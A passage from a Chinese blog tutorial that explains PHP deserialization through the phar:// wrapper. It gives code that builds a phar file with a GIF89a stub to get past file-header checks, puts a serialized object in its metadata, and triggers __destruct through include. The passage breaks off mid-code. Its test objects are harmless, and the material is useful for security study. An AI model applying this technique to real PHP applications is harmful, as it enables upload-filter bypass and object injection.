mysql 反序列化函数_利用phar协议造成php反序列化

0x00前言

在php中反序列漏洞,形成的原因首先需要一个unserialize()函数来处理我们传入的可控的序列化payload。但是如果对unserialize()传入的内容进行限制,甚至就不存在可利用的unserialize()函数的时候,就可以借助phar协议触发反序列化操作了

0x01 构造有反序列化payload的phar文件

首先,phar是一种php语言的文件的后缀,所以生成phar文件要用到php语言,需要在php.ini中开启相应的配置

phar.readonly = Off

153b678c364ddf147d7a38b19f2ae905.png

生成phar文件的代码如下

//反序列化payload构造

class TestObject {

}

@unlink("phar.phar");

$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

//设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?> 结尾

$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

//将反序列化的对象放入该文件中

$o = new TestObject();

$o->data='just a test';

$phar->setMetadata($o);

//phar本质上是个压缩包,所以要添加压缩的文件和文件内容

$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

?>

尝试一下,生成带有payload的文件

320db3427c0bb75d718067ac570e0617.png

简单的说下phar文件格式

phar文件头的识别格式是xxx + <?php __HALT_COMPILER(); ?>,只有这样的格式才能被识别为phar文件

phar是压缩文件,那么压缩文件的信息就会存在第二段manifest describing,这一段是放序列化的poc

压缩的文件的内容被存在第三段,也就是上面payload的中的text.txt

数字签名为该phar的第四段

了解phar文件格式,主要注意的点有2个,文件头的合法性和压缩文件信息处可自定义我们的payload

0x02 可触发phar协议的函数

利用一个漏洞,最初要知道payload从哪里传入,是哪个函数造成的,而php函数中支持伪协议的有很多,下面这张表就是能解析phar协议的函数(用一下别人的图)

250b8d034b739025b65fb7112605fbd3.png

这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once

做一个简单的测试

class TestObject{

function __destruct(){

echo $this->data;

}

}

include "phar://phar.phar/test.txt";

?>

b5c2db1ef2418ba58b75bb424de69467.png

同理,使用unlink()函数试试

class TestObject{

function __destruct(){

echo $t

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值